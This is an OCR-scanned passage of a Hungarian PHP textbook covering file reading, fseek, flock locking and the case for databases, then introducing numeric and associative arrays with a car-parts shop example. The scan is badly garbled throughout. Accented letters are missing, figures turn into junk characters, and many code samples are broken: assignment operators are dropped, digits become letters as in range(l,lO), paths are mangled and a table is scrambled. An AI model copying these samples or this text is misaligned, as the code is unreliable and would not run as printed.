A fjl feldolgozsnak egy msik mdja, ha karakterenknt olvassuk be.Az fgetc( ) fggvnnyel tehetjk meg ezt. Egyeden
paramtere a fjlmutat, visszatrsi rtke pedig a fjl kvetkez karaktere. Az eredeti kdban lv while ciklust a kvetke
zkppen cserlhetjk az fgetc ( ) fggvnyt hasznlra:
while (!feof($fp)) {
$char = fgetc($fp);
if (' feof($fp))
echo ($char=="\n" ? "<br

1>":

$char);

A kd az fgetc() fggvnnyel egyszerre egy karaktert olvas be a fjlbl, eltrolja a $char vltozban, s teszi ezt rnindad
ri a fjl vgt. Ezt kveten formz egy kicsit, hogy a szveg sorvgr jell karaktereket (\n) HTML sort
rsekre cserlje { <br l>).
Ez csak azt szolglja, hogy rendbe rakja a formzst. Ha megtekintjk a fjl kimenett a rekordok kztt jsorokkal, akkor
a teljes fjlt egyeden sorban ltjuk megjelenni. { Prbljuk ki, s gyzdjnk meg rla sajt szemnkkel!) A bngszk nem fog
lalkoznak az olyan fehrkz karakterekkel, mint pldul az jsorok, ezrt HTML sortrsekre (<br l>) kell cserlni azokat.
A hromoperandus mveleti jelet alkalmazzuk erre.
Az fgets() fggvny helyett az fgetc () hasznlatnak mellkharsa, hogy az fgetc () az EOF karaktert adja vissza,
amit az fgets() nem tenne. A karakter beolvassa utn jbl ellenrizni kell az fe of() fggvnyt, mert az EOF karaktert
nem szeretnnk megjelenteni a bngszben.

dig. amg el nem

'

50

2. fejezet

A fjlok karakterenknti beolvassa ltalban rtelmeden s nem igazn hatkony megolds, kivve akkor, ha valamilyen
oknl fogva kifejezetten karakterenknt szksges feldolgoznunk az llomnyokat.

Tetszleges mennyisg adat beolvassa: fre ad ()


A fjlbl beolvass utols mclja az fread () fggvny hasznlata, amellyel tetszleges mennyisg adatot olvasharunk be
a kivlasztott llomnybl. A fggvny prototpusa a kvetkez:
string fread(resource eroforras_valtozo,

int hossz);

A hossz paramter ltal bjtban meghatrozott maximlis adatmennyisget olvassa be (de legfeljebb a fjl vagy a hlzati
csomag vgig olvassa az adatokat).

Egyb hasznos fjlfggvnyek


Ltezik nhny tovbbi fjlfggvny, amelyek idrl idre hasznosak tudnak lenni. Ezek kzl mutatunk be nhnyat.

Fjl megltnek ellenrzse: file_e x i sts ()


Ha megnyits nlkl szeretnnk meggyzdni arrl, hogy egy adott fjl tnylegesen ltezik-e, a file_exists () fggvnyt kell
a kvetkezk szerint hasznlni:
if (file exists ("$DOCUMENT_ROOTI..lrendeleseklrendelesek.txt"))
echo

'Ezek a feldolgozsra vr megrendelsek.';

else

echo

'Jelenleg nincsenek megrendelsek.';

Fjlmret meghatrozsa: files i z e ()


A fjimretet a filesize() fggvny segtsgvel hatrozhatjuk meg:
echo filesize("$DOCUMENT_ROOTI.. /rendeleseklrendelesek.txt");

Visszatrsi rtke a b:ijtban kifejezett fjlmret. Az fread () fggvnnyel egytt hasznlva alkalmas a teljes fjl (vagy egy
rsznek) egyszerre trtn beolvassra. A teljes eredeti kd helyett az albbit is hasznlhatjuk:
$fp

fopen("$DOCUMENT_ROOTI.. Irendeleseklrendelesek.txt",

echo nl2br(fread( $fp,

'rb');

filesize("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt" )));

fclose( $fp );

Az n 12 br() fggvny HTML sortrsekre ( <br

l> )

alakieja t a kimenetben szerepi

\n

karaktereket.

Fjl trlset unlink ()


Ha a megrendelsek feldolgozsa utn trlni kivnjuk az azokat tartalmaz llomnyt, az unlink() fggvnnyel tehetjk
meg. (Delete, azaz trls nev fggvny nem ltezik.) Pldul:
unlink("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt");

Abban az esetben, ha a fjl nem trlhet, a fggvny hamis rtkkel tr vissza. Ez jellemzen akkor fordulhat el, ha nin
csen jogosultsgunk a trlsre, vagy pedig a fjl nem ltezik.

Fjlon belli navigls: rewind (), fseek () s ftell ()


A fjlmutat fjlon belli helyzett a kvetkez fggvnyekkel kezdhetjk, illetve llapthatjuk meg:

rewind (), fseek( )

ftell().

A rewind () fggvny a fjl elejre viszi vissza a f:ijlmutatt. Az ftell () fggvny azt mutatja meg, hogy- bjtokban
kifejezve- mennyit mozdult elre az llomnyban a fjlmutat. Pldul a kvetkez sorokat rhatnnk az eredeti kd aljhoz
(az fclose () parancs el):
echo

'A

echo

' <br l> ' ;

fjlmutat utols pozicija:

rewind($fp);

'.(ftell($fp));

Adatok trolsa s visszakeresse

echo 'Visszallts utn a pozci:


echo

51

'. (ftell($fp));

'<br />';

A bngsznkben megjelen eredmny a 2.5 brn lthathoz hasonl kell, hogy legyen.

Bob autalkatrszek
Meereadt'ltsd:

...

6001J'*-'St,s.-.
:!0"4l,11lolaodolOOII...,.,.._.0 .... 01Jitio0amy.SJOOOOllM-Rd,
1,)1"'-dol1XIIO_......,.I*i4lUOOU'Ik.-S.,.
lll"l0.}\lll0014_...._.1

--1"6

.......-pooiciD

2.5 bra: A megrendelsek beolvassa utn a fjlmutat afjl vgre mutat, 267 bjtnyival mozdult el.
A rewind fggvny hvsval visszatr kiindul pozcijba (O), afjl elejre.
Az fseek( ) fggvnnyel a fjl tetszleges pontjra llthatjuk a fjLmutatt. Prototpusa a kvetkez:
1nt fseek ( resource fp,

int eltelas

int eltelas kezdopontja)

[,

Az fseek ( ) meghvsa az elto las_kezdepontj a paramterben megadott ponttL szmtva eltolas bjtnyival eL
tolva helyezi el az fp fjLmutatt. Az opcionlis eltolas_ kezdepontj a paramter alaprtelmezett rtke SEEK_SET, ami
gyakorlatiLag a fjl eleje. Tovbbi lehetsges rtk a SEEK_CUR (a fjLmutat pillanatnyi helyzete) s a SEEK _END (a fjl vge).
A rewind ( ) fggvny azzal egyenrtk, mintha meghvnnk nulla eltolssal (offset) az fseek () fggvnyt. Az fseek ()
segtsgvel megtallhatjuk pldul egy adott fjl kzps rekordjt, vagy binris keresst hajtharunk vgre. Amikor azonban mr
annyira bonyolultt vLik az adatfjl kezelse, hogy ilyen dolgokra van szksgnk, sokkal jobban jrunk, ha adatbzist hasznlunk.

Fjlok zrolsa
Kpzeljiik el azt a helyzetet, amikor kt vsrl egyszerre prblja ugyanazt a termket megrendelni. (Ez egyltaln nem
olyan ritka szituci, kLnsen akkor nem, ha jelents forgalom van honlapunkon.) Mi trtnik akkor, ha az egyik vev meg
hvja az fopen () fggvnyt, s elkezd rni, majd a msik is meghvja az fopen ()-t, s is elkezd rnir Mi lesz a fjl tartalmar
Az egyik, majd a msik megrendelsr Esetleg ppen fordtvar Vagy csak az egyik megrendelsr Vagy csak a msikr Esetleg
valami teljesen rtelmetlen, pLdul a kt megrendels valami keszekusza sszevisszasgban r A vlasz opercis rendszernktl
fgg. de gyakran teljesen kiszmthatatlan.
Az ilyen problmk eLkerlse rdekben zroini rdemes az rintett fjlt. A PHP ezen funkcija az flock ( ) fggvnnyel
rhet el. Ezt kell meghvnunk a fjl megnyitsa utn, de mg kzveclenl az eltt, hogy brmilyen adatt beolvasnnk, vagy
rnnk a fjLba.
Az flo ck () prototpusa a kvetkez:
bool flock (resource eroforras_valtozo,

int muvelet

[,

int &varakozzon_e])

Els paramterknt egy megnyitott fjl muratjt, msodkknt pedig a zroLs kvnt tpust jelkpez llandt kell tadni.
A fggvny visszatrsi rtke sikeres zroLs esetn igaz, egybknt pedig hamis. Az opcionlis harmadik paramterben meg
adhat, hogy a fggvny megvrja-e a sikeres lezrst, vagy azonnal trjen vissza:
A muvelet paramter lehetsges rtkeit, illetve a zroLstpusokat a 2.2 tbLzat tartalmazza. A lehetsges rtkek a PHP
4.0.1 vltozatnak megjelensvel mdosultak, gy a tblzatbl mindkt rtkkszlete[ kiolvashatjuk.
2.2 tblzat: Az flo ck () muvelet paramternek rtkei

Mvelet rtke

Jelents

LOCK_SH (korbban

Megosztott zrols. A fjl olvassra megoszthat ms folyamatokkal.

l)
LOCK _EX (korbban 2)
LOCK_UN (kc-rbban 3 )
LOCK _NB (korbban 4)

Kizr zroLs. Ez a mvelet kizr; a fjL nem megoszthat.


Meglv zrols feloldsa.
Nem blokkol zrols. A zroLs ltrehozsa alatt megakadlyozza a blokkolst.

52

2. fejezet

Amennyiben hasznlni kvnjuk az flock () fggvnyt, a fjlt hasznl sszes kdhoz hozz kell adni, klnben rtelmetlen
lesz alkalmazsa.
Nem rt tudni, hogy az flock() NFS s egyb hlzati fjlrendszerek esetn nem mkdik. A rgebbi, zrolst nem tmo
gat fjlrendszerekkel (pldul FAT) sem mkdik. Egyes opercis rendszereken folyamatszinten valsul meg, s-rbbszl
szerver API alkalmazsa esetn nem megfelelen fog mkdni.
Ha hasznlni szeretnnk a megrendelses pldban, a kvetkezkppen mdosthaguk a rendeles_feldolgozasa. php
fjlt:
$fp

fopen("$DOCUMENT_ROOTI .. Irendeleseklrendelesek.txt",

flock($fp,

LOCK_EX);

fwrite($fp,
flock($fp,

ll fjl

'ab');

zrolsa rshoz

$kimenet1 sztring);

LOCK_UN);

ll rsra zrols feloldsa

fclose($fp);

A zrolsokat a rendelesek_megtekintese. php fjlhoz is hozz kell adni:


$fp

fopen("$DOCUMENT_ROOT l .. lrendeleseklrendelesek.txt",

flock($fp,

LOCK_SH);

'r');

ll fjl zrolsa olvassra

ll olvass a fjlbl
flock($fp,

LOCK_UN);

ll olvassra zrols feloldsa

fclose($fp);

A kd most mr robusztusabb, m mg mindig nem tkletes. Mi trtnik akkor, ha egy idben kt kd prbl zrolst
vgrehajtani? Ez versenyhelyzetet teremt, amelyben a folyamatok a zrolsrt versenyeznek, s bizonytalan, hogy mi lesz ennek
a kmenete. Egy ilyen helyzet tovbbi problmkat vet fel. Jobban jrunk, ha adatbzis-kezel rendszert (DBMS) alkalmazunk.

Egy jobb mdszer: adatbziskezel rendszerek


Az eddig rrekntert sszes pldban egyszer fjlokkal dolgoztunk. Knyvnk msodik rszbl megtudjuk, hogyan hasznljunk
helyettk MySQL-t, egy relcis adarbzis-kezel rendszert (RDBMS). Felmerlhet a krds, mirt bajldjunk a MySQL-lel?

Egyszer fjlok hasznlata esetn jelentkez problmk


Egyszer fjlok hasznlata esetn szmtalan problmba futhatunk bele:
Amikor a fjl mrete megnvekszik, nagyon lelassulhat a vele vgzert munka.
Egyszer fjlban bonyolult lehet egy adott rekord vagy rekordok egy csoportjnak megkeresse. Ha a rekordok sorrend
ben vannak, valamilyen binris keress s rgztert szlessg rekord egyttes hasznlatval rkereshetnk valamelyik
kulcsmezre. Ha szrni szeretnnk a rekordokat (pldul az sszes olyan vsrlt szeretnnk megrallni, ak egy adott
teleplsen lakik), minden egyes rekordot egyenknt be kell olvasnunk, s ellenrizni kell ket.
Az egyidej hozzfrs kezelse is gondot okozhat. Lttuk, hogyan lehet a fjlokat zrolni, m a zrols a korbban
bemutatort versenyhelyzethez vezethet. Szk keresztmetszetet is okozhat. Ha komoly forgalom van egy honlapon, tbb
felhasznl is vrhat a fjl zrolsnak feloldsra, hogy kpes legyen feladni megrendelst. Ha ez a vrakozs tl hasz
szra nylik, hajlamosak lesznek mshol elklteni a pnzket.
Az eddig megismert fjlfeldolgozsi mdszerek szekvencilis feldolgozssal nyltak a fjlokhoz; ez azt jelenti, hogy a fjl
elejtl indulva a vgig olvassuk ket. Rekordokat a fjl kzepbe szrni vagy kitrlni onnan (vletlenszer hozzfrs)
bonyolult dolog, mert elszr a teljes fjlt be kell olvasni a memriba - vgrehajtjuk a vltoztatsokat, majd jra kirjuk
a reljes llomnyt. Nagy adatfjlok esern mindezen lpsek jelentsen megterhelhetik a rendszert.
A jogosultsgok korltozott lehetsgein tlmenen nem ltezik egyszer mdszer az adarokhoz val klnbz szint
hozzfrsek betartatsra.

Hogyan oldjk meg a relcis adatbziskezel rendszerek ezeket a problmkat


A relcis adatbzis-kezel rendszerek (RDBMS-ek) megoldst knlnak mindezen problmkra:
Az RDBMS-ek az egyszer fjloknl sokkal gyorsabb hozzfrst nyjtanak az adarokhoz. s a knyvnkben hasznlt
adatbzisrendszer, a MySQL ilyen tekintetben a leggyorsabb rendszerek kz tartozik.
Az RDBMS-ekbl egyszeren lekrdezhetnk adott kritriumoknak megfelel adatkszlereket.
Az RDBMS-ek beptett mechanizmusokkal kezelik az egyidej hozzfrst, amivel gy neknk, programozknak nem
kell foglalkoznunk.

Adatok trolsa s visszakeresse

53

Az RDBMS-ek vletlenszer hozzfrst nyjtanak adatainkhoz.


Az RDBMS-ek beptett jogosulrsgi rendszerekkel rendelkeznek. A MySQL klnsen ers ezen a terleten.
A relcis adatbzis-kezel rendszerek hasznlatnak taln legfontosabb oka, hogy egy adattrol rendszertl elvrt minden

(vagy legalbbis majdnem minden) funkcival brnak. Persze, mi magunk is megrhatnnk a PHP fggvnyek sajt knyvtrt,
de mi rtelme lenne jra feltallni a kereket?
Knyvnk msodik, A MySQL hasznlata cm rszben bemuratjuk a relcis adarbzisok mkdst ltalnossgban,
illetve konkrtan azt, miknt lehet a MySQL-t adarbzissal tmogatott weboldalak ltrehozsra belltani s hasznlni.
Ha egyszer rendszert ptnk, s gy rezzk, nincs szksgnk minden funkcit tartalmaz adatbzisra, de szeretnnk
elkerlni az egyszer fjlok hasznlatbl ered zroJsi s egyb problmkat, mrlegeljk a PHP SQLire bvtmnynek
hasznlatr! Ez lnyegben SQL kezelfelleret nyjt egy egyszer fjlhoz. Knyvnkben a MySQL hasznlatra fordtjuk
figyelmnket, de ha szecetnnk tbbet megtudni az SQLite-rl, tjkozdjunk a http:/ /sqlite.org/ s a http://www.php.ner/
sqlite oldalrl!

Tovbbi olvasnival
A fjlrendszerrel val kapcsolatrl tovbbi informcit kapharunk a 19. fejezetbl

(A fjlrendszer s a kiszolgl elrse). A knyv

azon rszben megrrgyaljuk, hogyan lehet megvltoztaeni egy fjl jogosultsgt, tulajdonost s nevt; hogyan dolgozhatunk
a

knyvrrakkal; s hogyan lphetnk kapcsolatba a fjlrendszer krnyezetvel.


rdemes lehet elolvasni a PHP online kziknyvnek a fjlrendszerrel foglalkoz rszt, amely a hrcp://www.php.net/

filesystem cmen rhet el.

Hogyan tovbb:
A kvetkez fejezetben megismerjk a tmbket, illetve

azt,

hogyan hasznlhatk a PHP kdokban lv adatok feldolgozsra.

3
Tombk hasznlata
E fejezetbl megrodhatjuk, hogyan hasznljuk a tmbt, ezt a rendkvl fontos programozsi szerkezetet. Az elz fejeze
tekben egyetlen rtket trol skalris vltozkkal dolgoztunk. A tmb rtkek halmazr vagy sorozatt trolni kpes vltoz.
Szmtalan eleme lehet, s ezek mindegyike konkrt rtket, pldul szveget vagy szmot vagy akr egy msik rmbr is tartal
mazhat. A tmbket tartalmaz tmbt tbbdimenzis tmbnek nevezzk.
A PHP a numerikusan (szmmal) indexele s az asszociatv (trstsos) tmbket egyarnt tmogatja. A ms programozsi
nyelveken mr dolgoz olvask bizonyra tallkoztak numerikusan indexele rmbkkel, m aki nem hasznlt PHP-t vagy
Perlr, az valsznleg az asszociatv tmbkrl sem hallott mg - ugyan mshol tallkozhatott mr hasheknek, trkpeknek
(map) vagy knyvtraknak nevezett, hasonl szerkezetekkel.
Az asszociatv tmbkben a szmoknl informatvabb rtket alkalmazhatunk indexknt. A szmszer index helyett hasz
nlharunk szavakat vagy ms tartalmas informcit.
Fejezetnkben tovbbfejlesztjk Bob autalkatrsz-kereskedsnek pldaprojektjr, tmbk segtsgvel knnyebben elbol
dogulunk majd az olyan ismtld informcikkal, mint a vsrlk megrendelsei. Ekkppen rvidebb, rendezerrebb kdot
rva hajguk vgre az elz fejezetben a fjlokon vgrehajtott mvelerek egy rszt.
A fejezerben a kvetkez fbb tmakrket trgyalj uk:
Numerikusan indexelt tmbk
Nem numerikusan indexelt tmbk
Tmbmveleri jelek
Tbbdimenzis tmbk
Tmbk rendezse
Tmbfggvnyek

Mit neveznk tmbnek


A PHP gyorstalpal cm l. fejezetben olvashattunk a skalris vltozkrL Ezek vltoz rtk trolsra szolgl, nvvel elltott
helyek; hozzjuk hasonlkppen a tmb is nvvel elltott hely, ahol rtkek halmazr troljuk, lehetv tve ezltal a skalris
rtkek csoportostst.
A fejezetben Bob termklistjn keresztl mutatjuk be a tmbket. A 3.1 brn tmbformban crolva lthatjuk a hrom
termkbl ll listt. Ezt a hrom termket egyetlen,$ termekek nev vltozban troljuk. (Rvidesen elruljuk, hogyan lehet
ilyen vltozt ltrehozni.)

Gumiabroncs

Olaj

Gyertya

termk
3.1 bra: Bob termkei tmbben is trolhatk.
Miurn tmbben eltroltuk az informcit, szmtalan hasznos mdon dolgozharunk vele. Az l. fejezetben megismert ciktu
sokkal jelents mennyisg munktl kmlhetjk meg magunkat, ha ugyanazt a mveleter a tmb minden elemn vgrehajt
juk. A teljes informcihalmaz egyetlen egysgknt kezelhet. Ily mdon egyetlen sornyi kddal pldul a tmbben szerepl
sszes rtket tadhatjuk egy fggvnynek. Tegyk fel, hogy bcsorrendbe kvnjuk rendezni a termkeket! Ehhez nem kell
mst tenni, mint a teljes tmbt tadni a PHP sort ( ) fggvnynek.
A tmbben trole rtkeket a tmb elemeinek nevezzk. Minden tmbelemhez index (ms nven kulcs ) tartozik, amit az
egyes elemek elrsre hasznlunk. A legtbb programozsi nyelvben a tmbk nullval vagy eggyel kezdd numerikus inde
xekkel rendelkeznek.

56

3. fejezet

A PHP lehetv teszi,hogy tmbk indexeiknt szmokat s karakterlncokat egyarnt hasznljunk. Dolgozharunk
hagyomnyosan szmokkal indexelt tmbkkel,de tartalmasabb s hasznosabb indexet is rendelhetnk a tmbelemekhez.
(Ez a megkzelts ismers lehet azok szmra,akik ms programozsi nyelvekben dolgoztak mr asszociatv tmbkkel, tr
kpekkel,hashekkel vagy knyvtrakkal.) A programozi megkzelts is kiss eltr lehet attl fggen, hogy a hagyomnyos,
numerikusan indexelt tmbkkel vagy a nmileg izgalmasabb indexrtkeket hasznl tmbkkel dolgozunk.
Elszr a numerikusan indexelt tmbkkel ismerkednk meg. majd onnan lpnk tovbb a felhasznl ltal meghatrozott
kulcsok hasznlatra.

Numerikosan indexelt tmbk


A programozsi nyelvek tbbsge tmogatja a szmmal indexelt tmbket. PHP-ben az indexek alaprtelmezsben nullval
kezddnek,de ezt az rtket tetszs szerint mdosthatjuk.

Numerikusan indexelt tmbk ltrehozsa


A 3.1 brn lthat tmb ltrehozsra a kvetkez PHP kdsort hasznljuk:
$termekek = array( 'Gumiabroncs', 'Olaj', 'Gyertya' );

Ez a kd ltrehozza a$termekek nev,a hrom adott rtket-'Gumiabroncs', 'Olaj' s 'Gyertya'-tartal


maz tmbt. rdemes megemlteni,hogy az echo-hoz hasonlan tulajdonkppen az array () is inkbb nyelvi szerkezet,
mintsem fggvny.
A tmbben troland tartalomtl fggen elkpzelhet, hogy -az elz pldval ellenttben - nem sajt kezleg kell ltre
hozni azt. Ha egy msik tmbben rendelkezsnkre ll a szksges adat, az

mveleti jellel egyszeren msik tmbbe msol

harunk brmely tmbt.


Ha emelked szmsorozatot kivnunk tmbben trolni, a range () fggvny automatikusan ltrehozza szmunkra a tm
bt. A kvetkez utasts,a s zarnak nev, 1-tl lO-ig terjed elemek sorozatt tartalmaz tmbt lltja el:
$szamak = range(l,lO);

A range() fggvny harmadik, opcionlis paramtervel az rtkek kztti lpskze hatrozhatjuk meg. Ha pldul olyan
tmbre van szksgnk,amely az l s 10 kztti pratlan szmokat tartalmazza,a kvetkezkppen hozhatjuk ltre:
$paratlan_szamok = range(l,

10,

2);

A range( ) fggvny karakterekkel is hasznlhat, pldul:


$betuk

range ('a', 'z');

Amennyiben a kivnt informcit valamely fjlban troljuk, kzveclenl ebbl az llomnybl is betlthetjk a tmb tartal
mr. Ezzel a tmakrrel a fejezet ksbbi, Tmbk feltltse fjlokbl cm rszben foglalkozunk.
Ha a tmbbe sznt adatok adatbzisban troldnak,a tmb tartalmt kzveclenl az adatbzisbl is betlthetjk. Ennek
folyamatt a MySQL

adatbzis elrse a webrl PHP-vel cm, ll. fejezetben mutatjuk be.

Megfelel fggvnyekkel kinyerhetjk a tmbk egyes rszeit,illetve trendezhetjk tartalmukat. Ezekkel a fggvnyekkel
a fejezet egy ksbbi,Egyb tmbmveletek

vgrehajtsa cm rszben ismerkednk meg.

Tmb tartalmnak elrse


A vltozk tartalmnak elrsre a vltozk nevt hasznljuk. Amennyiben ez a vltoz trtnetesen tmb,akkor a vltoz
nevvel s a megfelel indexszel rhetjk el tartalmr. Az index-ms nven kulcs-mutatja meg. hogy a tmb melyik rtkt
kivnjuk elrni. Az indexet szgletes zrjelben rjuk a tmb neve utn.
A $termekek tmb tartalmt a $ termekek[O],$ termekek[l J

s $termekek[2J kifejezssel rjk el.

A tmb els elemnek indexe alaprtelmezsben nulla. Ugyanezt a szmozsi smt hasznljk a C, a C++, a Java s sok
ms nyelvben,m ha eddig mg nem tallkoztunk vele,eltarthat egy kis ideig. amg hozzszokunk.
Akrcsak ms vltozknl,a tmb elemeinl is az

mveleti jellel mdosthatjuk tartalmukat. A kvetkez sorral a tmb

els elemr cserljk le 'Gumiabroncs'-rl 'Biztositek' -ra:


$termekek[OJ

'Biztositek';

A kvetkez sor kdja j elemet - 'Biztositek


$termekek[3J

'

- ad a tmb vghez, amely gy sszesen mr ngy elemmel br:

'Biztositek';

A tmb tartalmnak megjelentshez gpeljk be a kvetkez sort:


echo "$termekek[OJ $termekek[lJ $termekek[2J

$termekek[3J";

Tmbk hasznlata

57

Annak ellenre, hogy a PHP meglehetsen intelligensen dolgozza fel a karakterlncokat, knnyen sszezavarodhatunk.
Amennyiben azzal a problmval tallkozunk, hogy a PHP nem megfelelen rtelmez egy olyan tmbt vagy vltozt, amely
ketts idzjelek kztti karakterlncba van gyazva, akkor helyezzk ket az idzjelen kvl, vagy hasznljunk sszetett
szintaktikt! Ez utbbit a

Karakterlncok kezelse s regulris kifejezsek cm 4. fejezetben tekintjk t. Az elz ech o

utasts

megf elelen mkdik, m a fejezet ksbbi rszben sok olyan sszetettebb pldt ltunk, ahol a vltozkat az idzjellel kz
refogott karakterlncon kvl tallj uk.
A tbbi PHP vltozhoz hasonlan a tmbket sem kell inicializlni vagy elzetesen ltrehozni. Els hasznlatukkor auto
matikusan ltrejnnek.
A kvetkez kd ugyanazt a$ termekek tmbt hozza ltre, mint amit korbban az array () utastssal lltotrunk el:
$termekek[Ol = 'Gumiabroncs';
$termekek[ll = 'Olaj';
$termekek[2l = 'Gyertya';

Amennyiben a $termekek mg nem ltezik, az els sor ltrehoz egy egyetlen elem, j tmbt. A kvetkez sorok rt
keket adnak a tmbhz. Ahogy elemeket adunk a tmbhz, az dinarnikusan vltoztatja mrett. Ez az tmretezsi lehetsg
a

programozsi nyelvek tbbsgben nem rhet el.

Tmbelemek elrse ciklusokkal


Mivel a tmb indexelshez nvekv szmok sorozatt hasznljuk, a for ciklussal knnyedn megjelenthetjk tartalmr:
for ($i = 0;

$i<3;

$i++)

echo $termekek[$il ." ";

A ciklus a kettvel ezeltti kdhoz hasonl kimenetet eredmnyez, m sokkal kevesebbet kell gpelnnk ahhoz, hogy egy
nagy tmb minden egyes elemr kezelni tudjuk. A tny, hogy egyszer ciklusokkal a tmbk minden egyes elemr knnyen
elrjk, vonzv teszi a tmbk hasznlatr. Elvehetjk a kifejezetren a tmbkkel val munkhoz kialaktott foreach cik
lust is. Ebben a pldban a kvetkezkppen kellene hasznlnunk:
foreach ($termekek as $aktualis)

echo $aktualis." ";

A fenti kd minden egyes elemet egyenknt eltrol az $aktualis vltozban, s kirja azt.

Nem numerikusan indexelt tmbk


A $termekek tmbnl hagytuk a PHP-t, hogy alaprtelmezett indexet rendeljen minden elemhez. Ez azt jelentette, hogy az
elsknt hozzadott elem indexe O lett, a msodik l, s gy tovbb. A PHP olyan tmbket is tmogat, amelyekben tetszle
ges rtk kulcsot vagy indexet rendelhernk az egyes elemekhez.

Tmb inicializlsa
A kvetkez kd ltal ltrehozott tmb a termknevet hasznlja kulcsknt, a tmb elemeinek rtke pedig az adott termk ra:
$arak = array('gumiabroncs'=>lOO,

'olaj'=>lO,

'gyertya'=>4);

A kulcsok s az rtkek kztri szimblum egyszeren egy egyenlsgjel s az azt kvet nagyobb szimblum.

Tmbelemek elrse
A tartalmat ebben az esetben is a vltoz, azaz a tmb nevvel s a kulccsal rjk el, vagyis az arak (azaz rak) tmbben trolt
informcit az albbiakkal kapjuk vissza:
$arak['gumiabroncs' l, $arak['olaj 'l

s $arak ['gyertya'].

A kvetkez kd ugyanezt az $arak tmbt eredmnyezi. Ez a vltozat azonban nem hrom elemmel hozza ltre a tm
bt, hanem csak egyetlen eggyel, majd kt tovbbi elemet ad hozz:
$arak = array( 'gumiabroncs'=>lOO );
$arak['olaj'] = 10;
$arak['gyertya']

= 4;

58

3. fejezer

Nzznk mg egy kiss eltr, m az elzvel egyenrtk kdot! Irt kzvedenl egylraln nem hozzuk ltre a tmbt,
hanem az els elem hozzadsa hozza ltre:
$arak['gumiabroncs']
$arak['o1aj']

$arak['gyertya']

100;

10;
= 4;

Ciklusok hasznlata
Mivel a tmbben hasznlt indexek jelen esetben nem szmok, a tmbbel val munkhoz nem vehetnk ignybe egyszer
szmllt alkalmaz for ciklust. Hasznlharjuk ellenben a foreach ciklust, illetve a list() s az each () szerkezeret.
A foreach ciklus asszociatv tmbk esern kiss eltr szerkezettel mkdik. Hasznlhatjuk poncosan gy, ahogyan az
elz pldban tettk, vagy bevehetjk a kdba a kulcsokar is:
foreach ($arak as $kulcs => $ertek)

echo $kulcs." - ".$ertek."<br />";

A kvetkez kd az each () szerkezerer ignybe vve lisrzza ki az $arak tmb tarralmt:


while ($elem = each($arak)) {
echo $elem[O];
echo " - ";
echo $elem[1];
echo "<br />";

Ennek a kdrszletnek a kimenere a 3.2 brn lthat.

3.2 bra: Az eaeh () utastssal vgiglpkedhetnk a trnhkn.


Az l. fejezetben megvizsgltuk a while ciklusokat s az echo utastst. Az elz kd az each() fggvnyt hasznlja,
amellyel ez idig nem tallkoztunk. A fggvny egy adott tmb aktulis elemr adja vissza, majd a kvetkez elemet teszi az
aktuliss. Mivel while ciklusan bell hvjuk meg az each() fggvnyt, egyenkm visszaadja a tmb minden elemr, majd
lell, amikor elrjk a tmb vgt.
Az $elem ebben a kdban tmb. Amikor meghvjuk az each() fggvnyt, ngy rcket s a tmbn belli elhelyezke
dsre utal ngy indexet tartalmaz rtket kapunk. A kulcs az $elem tmbvltoz O. indexn, az rtk az $elem tmb l.
indexn rhet el. Mindegy ugyan, hogy melyiket vlasztj uk, mi most gy dntttnk, hogy a szmozott helyett a nvvel jellt
pozcit ( indexet) hasznljuk.
Gyakran ennl elegnsabb megkzelrst alkalmazunk ugyanerre. A list () szerkezettel adott szm rtkre oszthatunk
egy tmbt. A kvetkezkppen vlasztharunk szt kettt az eae h() fggvny ltal visszaadott rtkek kzl:
while (list($termek,

$ar) = each($arak)) {

echo "$termek - $ar<br />";

Ez a sor az eaeh() fggvnyt hasznlva fogja az $arak aktulis elemet, tmbkm visszaadja azt, majd a kvetkez elemet
teszi az akculiss. A list ( ) segtsgvel a $termek s $ar nev kt vltozv alaktja az each () ltal visszaadott tmb
nulladik s els elemeit.
Az albbi rvid kddal a teljes $arak tmbt bejrhatj uk, s megjelenthetjk tartalmr:
reset($arak);
while (list($termek,

$ar) = each($arak))

echo "$termek - $ar<br />";

Tmbk hasznlata

59

Ennek kimenere megegyezik az elz kdval, m knnyebben olvashat, mert a l ist () lehetv teszi, hogy nevet rendel
jnk a vlrozkhoz.
Az ea ch () hasznlarakor gyeljnk arra, hogy a tmb szmon targa az aktulis elemr! Ha ugyanabban a kdban ktszer
kvnunk hasznlni egy tmbt, a res et () fggvnnyel vissza kell lltani az aktulis elemet a tmb elejre. Az arak tmb
ismtelt bejrshoz gpeljk be a kvetkezket:
reset ($arak);
while

( list ( $termek,

$ar

ech o "$termek - $ar<br

each ( $arak )

/>";

Ez a kd visszallga az aktulis elemet a tmb elejre, s ezzel lehetv teszi, hogy jra vgiglpkedjnk a tmbn.

Tmhmveleti jelek
A tmbkn klnleges mveleri jelek alkalmazhatk. Tbbsgknek van skalris megfelelje, ahogy ez a 3.1 tblzatbl kiderl.
3.1

tblzat: A PHP tmbmveleti jelei


Nv

Plda

Uni

$a

Egyenl

$a == $b

Akkor igaz, ha az $a s $b tmb ugyanazokat az elemeket tartal

Azonos

$a

Akkor igaz, ha az $a s $b tmb ugyanazokat az elemeket tartal

!=

Nem egyenl

$a

<>

Nem egyenl

$a <> $b

!==

Nem azonos

$a

Mveleti
jel
+

E redm ny
Az $a s a $b unija. A $b tmbt hozzfzi $a-hoz, de az azonos

$b

kulcs elemeket nem adja hozz.


mazza.
$b

===

mazza, radsul azok tpusa s sorrendje is megegyezik.


!

$b

!== $b

Akkor igaz, ha $a s $b nem ugyanazokat az elemeket tartalmazza.


Ugyanaz, rnint a!=.
Akkor igaz, ha $a s $b nem ugyanazokat az elemeket tartalmazza,
vagy az elemek tpusa s/vagy sorrendje nem egyezik meg.

Ezek a tmbopertorok nagyrszt magtl rtetdek, csak az uni szorul nmi tovbbi magyarzatra. Az uni mveleri jel
megksrli hozzadni a $b elemeit az $a vghez. Ha a $b valamely elemei az $a tmbben is megtallhat kulcsokkal rendel
keznek, akkor azokat nem fogja hozzadni. Ez azt jelenti, hogy a mvelet nem rja fell az $a elemeit.
Ltni fogjuk, hogy a 3.1 tblzatban lv tmbmveleri jelek rnindegyiknek ltezik skalris vltozkon mkd megfele
lje. Ha megjegyezzk azt, hogy a

sszeadst hajt vgre a skalris tpusokon s unit tmbk esetn, mkdsket akkor is

rtelmezni tudjuk, ha nem kvnunk elmlyedni a mgttk ll matematikban. A tmbket nem lehet rtelmesen sszeha
sonltani a skalris tpusokkal.

Tbbdimenzis tmbk
